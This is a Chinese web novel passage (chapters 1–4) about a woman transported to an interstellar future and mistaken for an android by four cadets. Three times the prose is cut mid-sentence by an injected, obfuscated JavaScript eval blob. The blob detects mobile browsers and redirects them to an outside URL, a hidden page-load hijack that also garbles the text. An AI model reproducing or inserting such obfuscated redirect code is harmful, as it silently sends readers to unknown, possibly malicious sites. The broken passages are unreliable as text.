《[乙女]穿越到女少男多的星际时代后》 1. 01 台风与森林 几个小时前,因为台风的关系,你所在的城市下了一场雨,潮闷的天气让你打开了家里全部的窗户,冰冷的雨丝飘过窗隙落在你身上,一点,两点,你随手抚去手臂上的水渍,掌心却感受到了一阵硌手的轻微刺痛。 等你因察觉不对而抬起头时,眼前的景象已经不再是冷色调的城市雨幕,而是遮天蔽日的茂盛林木。 你摊开手,才发现那些硌手的东西是一些蓝黑色的细碎沙砾,有点像铺在公路上的沥青,也像你身旁参天大树的树皮,至于本就所剩无几的雨水,更是早已被蒸发干净。 毫无疑问,你穿越了,就在一个眨眼间。 恐惧和惊慌理所当然地笼罩了你,但托穿越小说和电视剧的福,你并没有完全失去理智。 无论这里是一个怎样的世界,你都需要先离开这片森林,找到同类、人类。 为了避免裸露太多皮肤,你整理了一下自己的着装——放下撸到手肘的袖子、戴上卫衣的兜帽、把睡裤的裤脚扎进袜子里,至于那双印着小狗图案的家居拖鞋,你就只能尽量将脚往里面塞一塞了。 可是你在森林里小心翼翼地走了很久,都没能找到一丝人类活动的痕迹,甚至连动物都没有看见过,这太不合常理了,即使大型动物不好遇见,那虫鸟蚂蚁呢? 而且这里很安静,非常、相当安静一点虫鸣鸟叫声都没有,你有些不安,你担心自己误入了某种极具危险性的生物的领地。 不知过了多久,一直没有休息与补充食物和水的你已经精疲力尽了,你现在无比后悔自己为什么没有学习过荒野求生的技巧,害得你即使摘了好几种果子,以至于无法分辨它们是否能够食用,不敢吃,也不舍得丢。 更令人担心的是太阳,它似乎已经西沉了,一点点带走你刚刚还觉得太过灼人的温度——在陌生的森林里,寒冷比炎热要危险得多。 你会死在这里吗?你怎么可以死在这里?你努力支起发软的双腿,气喘吁吁地跟着太阳走,唯恐被黑暗追上。 在暮色将尽的傍晚,你终于听见了一丝轻微的、绝不是风声的动静。 是人吗?还是野兽? 心跳声震耳欲聋,你捡起脚边的石头,猫着腰躲在一棵大树后,放缓呼吸,竖着耳朵寻找声音来源。 “■■■■。”说着陌生语言的沉闷男声在你身后响起,语气十分冷硬。 紧跟着,一个硬质的东西抵在了你的后脑勺上,隔着卫衣的兜帽,你仍能感觉到那个应该是武器的东西的温度,十分冰冷,就像一块坚冰。 这里已经不是中国了,也不是亚洲或英语区,你敢断定自己从未接触过这种语言,或许这里甚至不是地球。 你虽然不明白身后的男人说了什么,但你能听得出那是一句警告,也能听出他并不打算直接杀了你,他给了你投降的机会。 你果断扔下了手里的石头,然后缓缓举起双手,示意自己没有拿任何武器。 “■■。”男人再次开口,这次说的话比之前要短一些,你觉得他大概是命令你转向他。 于是你顺从地转过身。 在转身之前,你就猜想这个男人应该是一名军人或雇佣兵,毕竟他的语气里有很明显的、受过专业训练的简洁冷酷,充满硝烟的气息,但当你真正看清他时,还是感到了惊讶。 男人,或者说少年约摸一米九,穿着一身深绿色的作战服,被拉到顶的领口微微内扣,搭在他淡色的下唇边上,露出直挺的鼻梁和深邃的眉眼,嵌着黑色细长瞳仁的金眸隔着他下压的手枪紧盯着你,如锁定猎物的鹰隼或虎狼。 你没想到对方会那样年轻,那样……好看,黑发金眼,简直像建模出来的游戏人物——你确定这里不是地球了,至少不是你那个时代的地球,毕竟你从未听说哪个人类能长出金色的兽瞳。 他似乎也十分惊讶于你的无害形象,因为在与你对视的瞬间,他就迅速扭动手腕将枪口移开了,仿佛担心抵着你额头的枪会走火,从而杀死一位无辜的人民群众。 “■■?”他收起了枪,脸上短暂浮现过的惊讶冷淡下去,变成稍显不快的冷峻,“■■■■。” 你完全听不懂他在说什么,但暴露你听不懂这种语言无疑是危险的,所以你经过短暂的思考,就决定装成一个哑巴了。 “啊啊。”你扯着嗓子干嚎两声,然后指着自己的喉咙摇了摇头,用无奈的眼神回望他。 这个女性仿生人的语言功能被它的主人禁用了,那罗斯特想,真稀奇,竟然有人舍得让这样精巧珍稀的宝贝当个哑巴……不过也不是不能理解,按照联邦守则,非官方组织或个人不被允许制造或使用女性仿生人,将它带入这次考核的蠢货即使再色令智昏,也不会冒着被监测器探知到的风险开放她的语言功能。 那罗斯特抬起手,在挂耳式的通讯器上敲了两下:“■■■■(敌情解除,我现在回去)。” 说完,那罗斯特毫不犹豫地转身离开,脚步匆匆,完全没有等你的意思。 他不管你了吗?你看着他逐渐走远的高大背影,犹豫片刻,还是小跑着跟了上去。 如果他要求你跟他走,你可能还会心怀警惕,担心他对你有所图谋,但当他对你完全不感兴趣且不打算管你时,你就觉得他十分可靠了——至少他看上去是个正经人,没有趁人之危对你做些下流的事情。 而且他穿着很像军装的衣服,你想,在这片森林里,你应该找不到比军人更值得信任、更有可能保护你的存在了。 那罗斯特当然发现了你正跟着他,但他懒得管。 不过几分钟,你就跟着那罗斯特来到了淌着溪水的、人为开辟的休憩地。虽然你将之称为“休憩地”,但其实这里依旧在密林中,只是因为好几棵树被砍倒,辟出了一小块空地,看上去适合安营扎寨罢了。 事实上,确实有人在这安营,你数了一下,三个。 “■■■(那罗斯特,你好慢啊)。”坐在树桩上擦刀的少年耳尖轻颤,懒洋洋地出声抱怨,却连眼神都没往那罗斯特和你那边扫一下。 正背对着你和那维斯特搭灶台的少年溢出一声轻笑:“■■■■■■■■■■■■(别抱怨了,德罗拉,既然那罗斯特带回了俘虏,你就和西尼亚一起审吧,速战速决,我们可没有太多时间浪费)。” 德罗拉“哼”了一声:“■■■■■(用不着你教我做事,霖)。” “■■■■■(那罗斯特,你怎么带了个女性仿生人回来)?”唯一正对着你们的金发少年西尼亚微微偏头,浓绿的眼眸沉静地看着你,过分秀气的五官让他看上去不过十五六岁。 霖闻言立刻转过头看你们,露出一张清隽的、颇有东方气韵的脸,虽然他的头发和眼睛都是深海浓墨般的幽蓝色,让他看起来比起人类更像是鲛人:“■(哇哦)。” “■■(女性仿生人)?”德罗拉刀也不擦了,他抬头看向你,红色的虹膜上浮动着毫不掩饰的惊讶,“■■■(哪个蠢货带来的)?” 那罗斯特:“■(不知道)。” 西尼亚:“■■(你没问它)?” “■■■(它不会说话)。”那维斯特坐到德罗拉旁边的树桩上。 德罗拉咧开嘴角,嗤笑道:“■■■■(无论是谁,现在肯定急疯了)。” 仿生人价格本就不菲,何况是冒着被联盟通缉的风险制作出来的女性仿生人? 德罗拉上下扫了你一眼,立即作出了估价:造型普通但胜在生动自然,如果放到黑市上拍卖,至少可以换到一艘小型宇宙航舰。 哪怕什么都听不懂,你也能感觉到这些人都在讨论你,惊讶、好奇却并不抱有恶意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447055|169424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你想,他们看你的眼神就像在看一朵会跳舞的花。 没见过女人啊……好吧,如果你是他们,突然在森林遇见一位穿着居家服的女性也会十分震惊的,你想。 “■■■■(你听得懂我说话吗)?”西尼亚扔下手里的、你分辨不出种类的野兽,走到你面前。 你眨了眨眼,没说话,安静地扮演一个听不懂人话的哑巴。 西尼亚无不遗憾地开口:“■■■(它没装智慧系统)。” “■■■(连智慧系统都没有)?”德罗拉皱起眉,收回对你的估价,即使拥有女性外壳,一个又傻又哑的仿生人可换不了宇宙航舰。 霖笑盈盈地望过来:“■■■■■■(行了,就算有智慧能说话,仿生人就是仿生人,破铜烂铁罢了)。” 德罗拉挑眉:“■■■■■■■■■(得了吧,装什么不近女色的圣人啊,你以为我不知道你每周都要逛一次古人类博物馆吗)?” “■■■■(仿生人怎么配与人类相提并论呢),”霖理所当然地开口,然后屈指轻扣了两下手边的石头,示意大家他已经搭完了灶台,“■■■(过来烤肉吧)。” 那罗斯特和德罗拉迅速起身围了过去,西尼亚深望你一眼后也转身往那边走过去,谁也没有招呼你一起去吃的想法——对于他们来说,你只是一个不需要进食的仿生人罢了。 但对于你来说,他们的态度让你十分摸不着头脑,你想,虽然他们没有任何管你的必要,但既然他们对你毫无敌意,也不介意你靠近跟随,为什么不顺便分你一点食物呢?难道他们会觉得你有能力独立捕食吗? 你找了个离他们不远不近的树桩坐下,眼巴巴地盯着他们,等他们善心大发。 可直到他们将那头和野猪差不多大的不知名生物吃完,也没有谁往你的方向看一眼,全然当你不存在。 哪怕你们非亲非故,你也有些尴尬的、无措的委屈,你从卫衣口袋里摸出你之前摘的五六个果子,思考要不要过去问他们这些果子能不能食用。 陷入纠结的、五感并不敏锐的你完全没注意到那四个人其实一直在暗中关注你——它为什么要盯着他们吃东西?它为什么要收集那些果子?它…… “■■■■(它是被它的主人植入了采摘果子的程序吗)?”霖猜测道。 德罗拉:“■■■■■■■(所以它之所以出现在这里,是因为在采摘果子的过程中走失了)?” 西尼亚:“■■(真奢侈)。” 那罗斯特将手按在了腰间的枪袋上:“■■■■(那它的主人应该不会离这里太远)。” “■■■(要不丢下它)?”德罗拉不耐烦地抓了一把自己蓬松的银发,语气凶恶,但熟悉他的人都知道,他并不是真的这么打算的。 霖脸上的笑容僵硬了一瞬,便很快恢复如初:“■■(它过来了)。” 屈服于饥饿感的你抱着果子走到那罗斯特旁边,在离他两步的地方蹲下,捧着果子给他看。 “■■(怎么了)。”那罗斯特抬眼看你。 你指了指果子,又指了指自己,希望他明白你的问题——这些果子里,有哪些是你可以吃的吗? 西尼亚:“■■■■■(它是不是将你错认成主人,希望你夸奖它)?” 霖眯着眼尾上挑的桃花眼,顺了顺自己扎成一束的及肩长发:“■■(真令人羡慕呢)。” 德罗拉“哼”了一声。 “……■■(做得不错)。”那罗斯特微微点头,抬手在你戴着兜帽的头顶上很轻地碰了一下,充作安抚与鼓励。 他突然拍你头做什么?你被吓了一跳,但你只是缩了缩肩,没有躲开。 你将果子捧得更高了,几乎要伸到他面前——大哥,你摸也摸了,能不能告诉我这些东西能不能吃呀! 2. 02 仿生人 那罗斯特有些苦恼,因为他刚刚捡来的仿生人正强迫他吃它摘来的、一些含有微量毒素的果实,而他又很难无视它那充满希冀的双眼。 “■■■(你要让这位小姐失望吗)?”德罗拉促狭地笑了起来,殷红的眼眸如宝石焰火般明亮。 作为同学两年的室友,德罗拉很清楚那罗斯特是个多么冷峻的人,所以当他看到那罗斯特被一个仿生人逼出无奈的表情时,很难不觉得有趣与暗爽。 如果这个仿生人没有女性的外壳,那罗斯特一定会在第一时间毁掉它,德罗拉想。 很显然,霖也是这么想的,并也同样热衷于调侃那罗斯特:“■■■■(那罗斯特,你的骑士精神呢)?” 西尼亚什么都没说,他只是微微皱眉,从一个你看不到的角度,若有所思地盯着你的脖颈。 那罗斯特屈服了。 他做不到伤害一位女性,即使只是女性仿生人,于是他从你的手里拿出一个蓝色的椭圆形果子,随便咬了一口。 这种学名“蓝雾”的果子会短暂地麻痹食用者的神经,使食用者进入一种类似醉酒的状态,那罗斯缓慢地咀嚼,等待毒性发作。 以他的毒抗水平,这个果子的毒素只能麻痹他三十秒,所以吃一口哄哄你也未尝不可。 游离在状态外的你这下彻底反应过来了——他完全没有理解你的意思,甚至误以为你在用果子讨好他! 你无话可说。 你也根本说不出他能听懂的话。 好吧,至少你知道他手里拿的那种蓝色果子是无毒的了,你想着,伸手将那罗斯特手里的果子拿了回来。 没办法,这种果子你只采了一个,不能真的给出去。 你朝皱着眉看你的那罗斯特抱歉地笑了笑,然后带着果子坐回你之前坐过的木桩,啃了一口留着牙印的蓝雾果。 味道竟然很不错!又甜又脆,特别像你那个世界的香梨,你心情愉悦地吃完了果子,决定明天多摘一些。 “……■■■■(如果我没有记错,仿生人应该是不能进食的吧)?”霖打破队友们因目睹你吃果子而产生沉默。 西尼亚缓缓点头:“■■■■■(它会短路的,而且一般的仿生人身上都装有短路警报系统)。” 这场淘汰制的考核对手很多,今天经历过三场交锋的他们没有精力再应付一场战斗了,即使他们综合素质很好,是热门的夺冠队伍。 德罗拉站起身:“■■■■(啧,真麻烦,我去把它的能源关了)。” 此刻的你已经察觉到了不对,你不安地看向朝你走来的德罗拉,不知道自己哪里招惹到了这位漂亮的银发少年,为什么会让他露出这样凶巴巴的表情——就算你刚刚从黑发少年手里夺回了“送出的礼物”,也不至于这么生气吧? 你下意识看向那位将你带到这里的黑发少年。 “■(等等),”那罗斯特声音冷淡,“■■(我去吧)。” 霖撑着下巴看了会儿他们,然后朝你吹了声不太正经的口哨:“■■■(魅力真大呀,小姐)。” 德罗拉与那罗斯特对视一瞬,冷哼着坐回原处,赤瞳里的不耐与烦躁变得真切起来。 没有人察觉到了这细微的情绪变化,因为大家的注意力都放在你和向你走去的那罗斯特身上。 “■■■(我会很快的)。”那罗斯特拉下你的兜帽,带着半截手套的修长手指不可避免地碰到了你的发丝,柔软顺滑,就像真正的人类毛发那样。 你的主人为了让你看上去足够真实,确实煞费苦心,那罗斯特想,你是他见过的、最生动的仿生人。 你的能源开关会像其他仿生人一样,设置在后颈处吗? 如果你与那罗斯特不是相遇在这里,你或许还会因为他的靠近和逐渐伸向你脖颈的手羞涩一下,可你们正身处被薄暮夜色笼罩的森林,附近最明亮的光源就是那罗斯特背对着的灶台焰火,暖黄的光避过他宽阔的肩背,留下森森的、足以将你完全覆盖的阴影。 无数种可能性闪过脑海,你伸手抓住了那罗斯特已经摸到你脑后发丝的手,将它扯到你面前,然后两只手一起握住他的手腕和手掌。 纯以力量计算的话,那罗斯特当然可以轻松地挣开你,但攀上他手臂的手指那样纤细柔软,恍若真人的触感让他有片刻的失神。 你没有错过他怔忪的神情,顾不上判断这种变化源于什么,你立刻甩开他的手,准备逃跑。 虽然你连一步都没迈出去,就被那罗斯特抓住了。他的手掌很大,可以轻松地圈住你的上臂,力气也很大,可以将你像猫崽一样拎起来,摁着坐到树桩上。 你吓得蜷起身躯,胡乱地伸手推他,挣扎,却比撼树蚍蜉强不到哪里去。 那罗斯特撩开你的长发,却没能在那片白皙的后颈肌肤上找到有可能是能源开关的东西。 难道被设置在别的地方了?他想,有些人为了减轻仿生人的机械感,会将能源开关藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447056|169424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得隐蔽一些,比如……被衣服包裹的地方。 “■■(别动,安静点),”那罗斯特的声音哑了下去,仿佛正在忍耐些什么,“■■(我不想弄坏你)。” 你当然不能理解他的话语和好意,还以为这个相貌堂堂的男生终于露出了可耻的本性,要对你做些下流事,于是你奋力地挣扎,尖叫着让他离你远一点:“滚开!!” 你突然开口,让包括那罗斯特在内的所有人都愣了一下。 如果你也有一个装备着翻译软件的通讯器,就会知道他们的通讯器识别出了你使用的、两千年前就已被列为小语种的语言,并将之翻译成了联盟通用语。 会有人给仿生人植入来自Y-AT12星球的古老语言吗?要知道,这种学名为“Y-AT12华夏语”的语言已经无人使用了,如果不是联盟军校的知识系统足够全面,通讯器都不一定能识别翻译它。 可如果你会使用华夏语不是因为你的主人给你植入了这个功能,或者说你根本不需要别人为你植入语言功能,那岂不是代表,你并不是女性仿生人,而是真正的…… “■(你)……”那罗斯特松开了对你的钳制,荒谬的可能性让他不自觉地后退半步。 逃离禁锢的你紧紧抱着自己的肩膀,屈膝将自己蜷成一团,警惕地盯着面前突然放过你的、面色僵硬的那罗斯特。 没错,你是人类,那罗斯特想,没有哪个仿生人会反抗、仇视人类……你竟然真的是人类,是人类女性,是渺渺星系中的十六亿分之一。 迎着你的眼神,那罗斯特缓慢地退后了两步,以臣服、顺从的姿态在距离你一臂长的地方单膝跪下。 而不远处,本来坐着看戏的三人也纷纷单膝跪地,如向圣像致礼的骑士。 你又不是笨蛋,很快意识到对方是在退让,而且是在听到你说话后退让——他们听得懂中文?! “你听得懂我说话?”你顿时将之前的不愉快抛诸脑后,惊喜地看着那罗斯特,“你是中国人吗?这里还是地球吗?” 那罗斯特取下耳朵上的通讯器,一边说话,一边将它递到你面前。 “我听得懂您说话,但我不是中国人,这里也不是地球。”通讯器装配的机械男声平和沉稳,将那罗斯特的联盟通用语逐字转化成华夏语。 你明白了,他之所以能听懂你的语言,只是因为他拥有录入了中文的翻译机器。 你确实已经穿越时间空间,离开了你熟悉的世界。 3. 03 幻觉 借着通讯器的翻译功能,那罗斯特向你简单介绍了一下你所处的时代。 宇宙各星球历经长达一千六百年的星际混战,于两千一百二十一年前达成联合协议,成立星际联盟,统管宇宙。 你的家乡地球,那颗被联盟编号为Y-AT12的蔚蓝色行星,则是因为科技水平过于落后,直到本土人类灭绝一千年后,才被星际航行的联盟军队发现,连辐射大半个宇宙的星际混战都没有参与过,落后得可怜又幸运。 “……您之所以跨越时空跃迁至此,应该是受虫洞影响。”那罗斯特分析。 他一直在对你说敬语。 不过这也可以理解,毕竟在这个男女比例低至16亿:1的时代,每一位人类女性都被视作联盟珍宝,授予贵族头衔,由联盟所有公民共同侍奉。 对,侍奉。 在联盟通用语里,这两个字只与两个词语有关——“女性”与“神明”。 在这个机械代替人类繁育的时代,女性这个“神圣而稀有的性别”因为她们更柔软的灵魂与天生具备生育能力的□□被视为自然留给人类的恩赐,代表神的意志存在。 你不知道这种思想诞生的具体原因,或者说,你的理智和思维没有等到那罗斯特继续科普,就被迫中断了。 因为你突然领悟到了你人生的真谛和使命。 你是一条森林巨蟒。 你要将自己的毒液注入到所有人类的血管里,毒死他们。 在很久之后,你会知道自己精神错乱的原因——那被你吃下几乎整颗的致幻水果“蓝雾”——这种只能对那罗斯特造成三十秒微醺体感的水果,能麻痹你的神经十个小时,影响你的三观,左右你的思想,让你做出一些匪夷所思的事情。 但此刻的你什么都不知道,因为你只是一条很有使命感的森林巨蟒。 你扑到你面前的那罗斯特身上,狠狠地咬向他的脖颈。 可你来自地球文明的牙齿不仅没有咬破他的皮肤,还被坚实的肌肉震得发麻,甚至于,如果那罗斯特没有及时关闭作战服上的防御系统,你的牙齿恐怕已经被崩坏了。 这简直是对你、对森林巨蟒这种伟大生物的羞辱! 你用自己的肢体紧紧地“绞”着他,恶狠狠地啃咬着他每一寸裸露在外的肌肤,以报复这个强大得可恶的人类。 “她怎么了?”西尼亚第一个冲到你身边,却因为不知道该做些什么而手足无措。 那罗斯特的脸红得惊人,声音也哑得不像话:“……蓝雾的毒性发作了。” “啧,没带解毒剂。”德罗拉随手丢开背包,他从未像现在这样讨厌那条禁止考生携带解毒剂的规则。 西尼亚:“蓝雾这种微毒生物还有解毒剂吗?” “当然没有,”霖补充道,“他指的应该是特效解毒剂。” “算了,反正蓝雾不会对人类造成不可逆的伤害,最多半个小时,”德罗拉的视线扫过你没能造成任何伤害的牙齿,判断你的身体素质恐怕要比本世代的人类底线还要低许多,“不,四个小时,毒性就会被人体代谢。” “啊啊,那罗斯特还真是好运气啊。”霖皱着脸,幽蓝的眼睛一错不错地盯着你。 西尼亚和德罗拉沉默不语,并不否认他的观点,或者说非常赞同,十分羡慕。 他们的羡慕并没有持续很久,因为聪明的你很快发现那罗斯特是一块硬骨头,你应当及时换一个猎杀对象,比如那个看上去更年轻稚嫩的金发人类。 你从那罗斯特身上爬到西尼亚面前,在西尼亚惊喜地解开防御系统后啃了上去,然后不出意料地未能咬破他的皮肤。 “她的牙齿好软。”西尼亚的声音细微地颤抖着。 霖撑着下巴,笑眯眯地看着德罗拉:“看来我们两个也会有份呢。” 德罗拉:“……真是疯了。” 如果只是上嘴咬两口,第二小队的士官预备役们还能维持风度,由你乱来,可你啃完一轮后,竟然开始扒他们的作战服。 “不,”解除防御系统的作战服与普通衣物无异,德罗拉紧紧捏着自己领口的拉链,“这个不行。” 虽然绝大多数的联盟男性此生都不会拥有伴侣,甚至是与女□□流的机会,但从识字起就学习的骑士精神绝不允许他们做任何下流肮脏的事情,譬如在女性面前赤身裸体,玷污她们纯洁神圣的眼睛。 德罗拉脾气坏,这门必修课却从来都是满分。 但即使他可以完美地答出所有考题,也不知道该如何处理眼前的情况——从来没有哪个老师说过,当纯洁神圣的女性要脱他们的衣服、让他们犯罪时该怎么办! 猝然被拒绝的你愤怒极了,也委屈极了。 你敢打赌,绝不会有哪条森林巨蟒混得和你一样差! 受尽屈辱的你眼泪扑簌簌地落了下来,淌过脸颊,落在他的手背上,翻出小小的水花。 “德罗拉!”三道淬着愤怒和警告的声音同时响起。 本就被你的眼泪砸得心慌意乱的德罗拉转头,恶狠狠地朝同伴们喊:“我什么都没做!” 你被他的喊声吓了一跳,哭得更凶了。 “德罗拉!” “松手!” “别不识好歹!” 迎着你泪涟涟的眼睛,德罗拉屈服了,他松开手,任由你扒下他的衣服,对他穷尽一条森林巨蟒能施展的所有手段。 将猎物们挨个“扒皮”的你还是没有完成你的使命,视线扫过四个红彤彤的人类,你沉痛地将之归咎于自身的弱小。 你还没有蜕过皮呢,你想,只要你完成蜕皮,一切问题都会迎刃而解。 于是你开始蜕皮。 蹬开脏兮兮的家居拖鞋,扯掉粘着细碎草叶的袜子,当你的手摸向卫衣下摆时,被你压在身下的霖及时抓住了你的手腕。 “您冷静一点,这个真的不可以。”之前义正辞严骂德罗拉不知好歹的少年满脸慌乱。 瞧他那害怕的样子!他肯定在担心你蜕皮后变得强大无比,能轻易地毒死他! 你断定自己发现了真相,于是狠狠地甩开他不敢用力的手,疯狂地扯自己身上的衣服。 这些都是阻碍你变强的禁锢! 意识到问题严重性的少年们七手八脚地阻止你:“小姐!请您冷静一点!” 闪着蓝光的通讯器不断翻译着他们的请求,可森林巨蟒听不懂人话。 你拧着眉,叽里咕噜地说着别人听来不成词句的自创蛇语,以表达对妨碍自己进化的人类的痛恨,并不断用自己强健的尾巴甩这群混蛋。 微凉的裸足踩在衣衫不整的年轻人身上,燎得他们心火旺盛,但哪怕身体出现了可耻的反应,他们依旧死死地拽着你的衣服,用尽全部地理智不去看你的脸和时不时在他们眼前闪现的春光。 他们从未如此绝望过。 再恶毒的审讯官也无法设想出如此残忍的酷刑。 如果你能抽出几秒恢复理智,肯定会要他们将你打晕,避免事态恶化,虽然他们绝不会这么做——怎么可以如此粗暴地对待你呢?他们宁可选择打晕自己。 这场闹剧截止于你终于精疲力尽的那一刻。 几个小时后,天光破晓,你在银发少年的怀中醒来,带着困倦和模糊的视线一抬,就对上了凝血般瑰艳的双眸。 一夜未睡的德罗拉轻咳一声,扶在你腰侧的手慢慢握拳:“您醒了。” 精致白皙的脸微微侧过,避开你的视线,银发轻晃,红嫩嫩的耳廓从雪色的间隙里露出来。 荒唐的记忆潮水般涌入逐渐清明的脑海,你的脸迅速发烫,视线不受控地看向他被你折腾得乱七八糟的上半身——作战服的拉链被扯到了腰间,大敞的领口露出里面被黑色背心包裹的劲瘦身躯,宽肩窄腰,肌肉分明,瓷白的肌肤亮得灼眼。 而最令你难堪的,是你清楚地知道自己是眼前景象的罪魁祸首,甚至于现在,你的手指还勾着背心边缘,搭在他紧绷的胸肌上。 “醒、醒了。”你手忙脚乱地抽回自己的手,从他怀里爬出去。 德罗拉微微点头,拉上了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447057|169424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的作战服拉链,摩擦声“嗑哒嗑哒”地细响半秒,遮到了脖颈。 此情此景,你实在是问心有愧。 “早上好。”温和的男声响在身后,你回头看去,是那个叫做“霖”的清隽少年。 那罗斯特和西尼亚同霖坐在一起,离你不过三四步的距离,齐齐安静地看着你,而你刚刚竟然一点儿都没注意到他们。 你磕磕绊绊地开口:“早、早上好。” 霖笑盈盈地捧起一片装着烤肉的阔面叶:“您应该饿了吧?早饭已经做好了。” 你当然饿了,从昨天下午到现在,你只吃过一枚拳头大的果子。 但是你一与他们对上视线,就会想到自己的“恶行”,顿时无地自容到食不下咽。 ——那肯定、绝对、毫无疑问是性骚扰!!是犯罪!! 德罗拉从你身边走过,和他的队友们坐到了一起,四个诗文画作里才有的好颜色堆在一起,看得你头晕目眩,悔不当初。 “对不起,”你垂下头,不敢去看他们的神色,“我昨天对你们做了不好的事情……对不起,我不是故意的。” 你隐隐猜到自己突然变态是因为中了毒,但那只是理由,做不得挡箭牌,做错了就该道歉。 那罗斯特:“这不是您的错,请不要放在心上。” 你怎么可能不放在心上呢?你可不是下流的人! 就在你思考该如何更正式地表达歉意时,伴随着愈发难以忍耐的饥饿感,肚子传来一声“咕噜噜”的轰鸣声。 人是铁饭是钢,你一咬牙,决定先把早饭吃了再说。 你一步三挪地走到他们旁边,接过霖递过来的烤肉,小口小口地吃着。 烤得酥嫩的肉金灿灿的,口感味道好得出人意料,你吃了好多,才在缓过一口气时发现他们正用一种观赏大熊猫的眼神看你。 你:“……” “您渴了吗?”西尼亚显然是误会了你沉默的用意,立马递上一个树枝细叶编的水杯,里面盛着剔透的水,同他的眼睛一样绿汪汪的。 好像小狗哦。 “……谢谢,”你接过水杯,喝了几口,“你们不吃吗?” 西尼亚眨了眨眼:“我们吃过了。” 事实上他们吃的是营养剂,如果不是有一项名为“烹饪”的考核任务,他们昨天甚至不会用烤肉代替晚餐,毕竟这种精细的食物除了味道好一些外,没有任何优点。 今天生火烤肉,也只是因为顾及你的感受,不想委屈你和他们一样喝味道诡异的营养剂。 “哦,这样呀。”你又喝了一口水,继续与烤肉奋战。 你当然不喜欢被人当观赏物盯着看,但比起这个,你更担心吃了这顿没下顿,只能强迫自己无视他们,直到八九分饱的时候才停下手。 你扶了一下挂在耳朵上的、那罗斯特昨晚给你的备用通讯器:“我吃好了。” 霖微微点头,作为小队的战略师,他负责向你解释接下来的安排。 “按照联盟法律,我们应该立刻送您回联盟政府,但这次考核属于‘生存类’考核,一切对外通讯功能全部停用,监测器……”霖看着你逐渐迷茫的眼神,轻笑一声,换了个更易于理解的说法,“简单来说,我们现在无法联系外界,无法帮助你离开这里。” 你忍不住皱眉:“那怎么办?” 你要和他们一直待在这片森林里吗? “请不要过于担心,对外通讯功能会在考核结束后恢复正常,”霖补充道,“本次考核为期三天,我们已经度过一天了,接下来的两天时间,我们会终止考核,尽全力保障您的安全,您只需要相信我们就好。” 得到保证的你松了一口气,但又有些打扰他们规划的尴尬与歉意:“这会不会太麻烦你们了?” “当然不会,”霖看着你的眼睛,朝你投下一片宁静的蓝,“这样的‘麻烦’对我们来说是命运给予的恩赐,我将永远铭记这段美好的时光。” 你有些脸热,撇开眼避开他的视线:“我也会一直记得你们的。” 4. 04 奔波 霖根据环境的变化,判断今夜会有一场大雨,所以你们需要赶在日落之前穿越这片树林,抵达位于东南方的平原区,以避开森林中那些会借着雨幕捕杀猎物的动植物们。 这颗偏远的星球之所以能被联盟军校选为考场,自然有它的独到之处,而这份特别对你来说,绝对与友好无关。 “它们的物理攻击强度并不高,但是它们大多身负毒素,会对人体造成不良的影响。”霖向你解释必须离开这里的理由。 你太脆弱了,连蓝雾那种因毒性特殊,才勉强被纳入“低毒性”层级的植物果实都能让你神智失常六个小时,那些为考生们精心准备的生存类考核,自然可以轻易地夺走你的性命。 如果不是有碍于你的安全与健康,第二小队的成员们绝不会做出这种会给你带去辛苦与劳累的计划,那太失礼,也太不道德了。 “抱歉,我们竟然让您如此奔波,”霖自责地低下头颅,像一株被霜雪压得失去生命力的紫罗兰,“这都是我们过于无能的原因。” 小队的其他成员也露出与他相似的神情,气氛瞬间变得沉痛起来,仿佛他们真的罪大恶极,不可饶恕。 对于同龄人来说,第二小队的成员们毫无疑问是出类拔萃的天骄,但在你面前,他们远远算不上一名合格的骑士,如果不是命运的馈赠,他们甚至都没有与你这样的、尊贵的女士会面交谈的资格。 他们如此幸运,却因为自身实力欠缺让你受累,这对他们骄傲而年轻的心灵无疑是毁灭性的打击。 ……不至于吧?你有些无措。 按照你的三观和处事经验来说,你才应该是那个因为拖累他们考试而感到愧疚的人啊。 “别这么说,如果没有你们,我说不定昨晚就被这里的野兽吃掉了,”你安慰般拍了拍霖的肩膀,希望能让他振作起来,“我非常感激你们。” 多么善良宽广的心胸啊,只有神圣的女性才会如此慈悲。 被你这样温柔对待,霖坚信这个世界不会有比他更幸福的人了,所以他理应为你献上一切,忠诚、生命、信仰。 “小姐,您真是太宽容了。”霖情不自禁地看向你的眼睛,但他很快意识到这是个失礼的行为,立刻垂下视线和丝巾般搭在他肩头的深蓝色长发。 明明是你们对我太过于没有底线了,你想,再过两天,自己说不定就会被他们捧得颐指气使起来。 “好啦好啦,”你抬手指向霖刚刚告诉过你的东南方,“我们该出发了。” “是。” 一个半小时后,踌躇满志的你有些累了。 